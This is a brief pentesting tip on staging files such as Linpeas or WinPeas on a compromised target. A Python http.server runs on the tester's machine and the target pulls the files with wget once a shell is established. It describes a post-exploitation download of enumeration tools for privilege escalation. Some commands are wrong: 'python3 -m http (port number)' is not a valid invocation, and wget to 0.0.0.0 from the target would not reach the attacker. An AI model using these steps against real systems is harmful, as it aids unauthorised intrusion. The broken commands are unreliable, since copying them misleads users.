Python Web server can come in handy when pentesting. It can be used to transfer files from your machine to a target machine if a shell has been established.
Some useful files to transfer could be Linpeas or WinPeas to look for any Privilege escalation
Python- python3 -m http.server &
Python 3 — python3 -m http (port number)
From the target machine, you can then pull files by using wget http://0.0.0.0:80/(whatever file name/path)